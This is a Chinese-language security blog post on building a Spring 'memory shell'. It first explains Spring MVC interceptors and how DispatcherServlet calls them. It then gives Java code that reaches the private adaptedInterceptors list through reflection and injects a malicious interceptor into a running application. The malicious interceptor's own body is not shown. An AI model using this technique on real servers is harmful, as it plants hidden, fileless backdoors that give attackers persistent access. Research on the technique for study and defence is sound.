『Java安全』Java Spring内存马_动态注册Interceptor拦截器内存马

前言

Interceptor和Filter的区别

Interceptor和Filter过滤器不同:
在这里插入图片描述
拦截器一般用来做日志记录,过滤器用于过滤非法操作

实现HandlerInterceptor接口

编写Interceptor需要实现HandlerInterceptor接口,有三个方法,其中preHandle返回bool
在这里插入图片描述

方法调用顺序

在这里插入图片描述

  1. preHandle在Controller之前调用,如果返回true继续运行,否则直接中断
  2. postHandle和afterCompletion的调用要保证preHandle返回true

编写Interceptor

写一个示例Interceptor

package com.example.javaspring;

import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.ModelAndView;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

public class MyInterceptor implements HandlerInterceptor {
    @Override
    public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
        System.out.println("afterCompletion()");
    }

    @Override
    public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {
        System.out.println("postHandle()");
    }

    @Override
    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
        System.out.println("preHandle()");
        response.setContentType("text/html");
        response.getOutputStream().print("preHandle()<br>");
        response.flushBuffer();
        return true;
    }
}

有一个关键点:如果需要在页面上显示时,调用response.getOutputStream(),如果调用getWriter()会由于Writer冲突而报错;最后清空缓存

配置启用Interceptor

对于过滤器,直接配置注解即可,而拦截器需要手动编写一个Config添加进去才能生效

配置需要继承WebMvcConfigurer接口,重写addInterceptors方法,设置@Configuration注解

package com.example.javaspring;

import org.springframework.context.annotation.Configuration;
import org.springframework.web.servlet.config.annotation.InterceptorRegistry;
import org.springframework.web.servlet.config.annotation.WebMvcConfigurer;

@Configuration
public class InterceptorConfig implements WebMvcConfigurer {
    @Override
    public void addInterceptors(InterceptorRegistry registry) {
        registry.addInterceptor(new MyInterceptor()).addPathPatterns("/");
    }
}

直接向InterceptorRegistry注册自定义拦截器实例,然后调用addPathPatterns方法添加URl拦截规则即可

拦截规则支持通配符****匹配任意一层目录、 **匹配任意多层目录

Interceptor示例

有一个Index的Controller在这里插入图片描述
访问
在这里插入图片描述
命令台有回显,调用顺序如图所示:
在这里插入图片描述

Interceptor调用分析

在preHandle打上断点,来到DispatcherServlet.doDispatch()
在这里插入图片描述
先进性了getHandler的操作
在这里插入图片描述
遍历handlerMapping,然后调用getHandler方法
在这里插入图片描述
最终调用的是SimpleUrlHandler的getHandler方法,是一个HandlerExecutionChain对象
在这里插入图片描述
返回上一步看一看SimpleUrlHandler的getHandler方法细节:

调用了AbstractHandlerMapping.getHandlerExecutionChain

在这里插入图片描述
从adaptedInterceptors把符合的拦截器统统添加到chain里面了
在这里插入图片描述
adaptedInterceptors存放着全部拦截器,是private的,而且是List类型
在这里插入图片描述

然后继续追DispatcherServlet,来到applyPreHandle调用preHandle方法
在这里插入图片描述
在这里插入图片描述

Interceptor内存马

原理

参照调用流程:

  1. 获取RequestMappingHandlerMapping
  2. 获取adaptedInterceptors
  3. 由于是List直接add

Ⅰ. 获取RequestMappingHandlerMapping

AbstractHandlerMapping实现是RequestMappingHandlerMapping,这步与恶意Controller一致

WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);

RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);

Ⅱ. 获取adaptedInterceptors

反射

        Field field = null;
        try {
            field = RequestMappingHandlerMapping.class.getDeclaredField("adaptedInterceptors");
        } catch (NoSuchFieldException e) {
            e.printStackTrace();
        }
        field.setAccessible(true);
        List<HandlerInterceptor> adaptInterceptors = null;
        try {
            adaptInterceptors = (List<HandlerInterceptor>) field.get(mappingHandlerMapping);
        } catch (IllegalAccessException e) {
            e.printStackTrace();
        }

Ⅲ. 添加恶意拦截器

adaptInterceptors.add(new InjectEvilInterceptor("a"));

参考引用

https://www.cnblogs.com/cnsdhzzl/p/6109424.html
https://www.cnblogs.com/zpchcbd/p/15545773.html
https://blog.csdn.net/reggergdsg/article/details/52962774
https://blog.csdn.net/chenleixing/article/details/44573495
https://blog.csdn.net/weixin_44360895/article/details/113796040

欢迎关注我的CSDN博客 :@Ho1aAs
版权属于:Ho1aAs
本文链接:https://blog.csdn.net/Xxy605/article/details/124024799
版权声明:本文为原创,转载时须注明出处及本声明

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值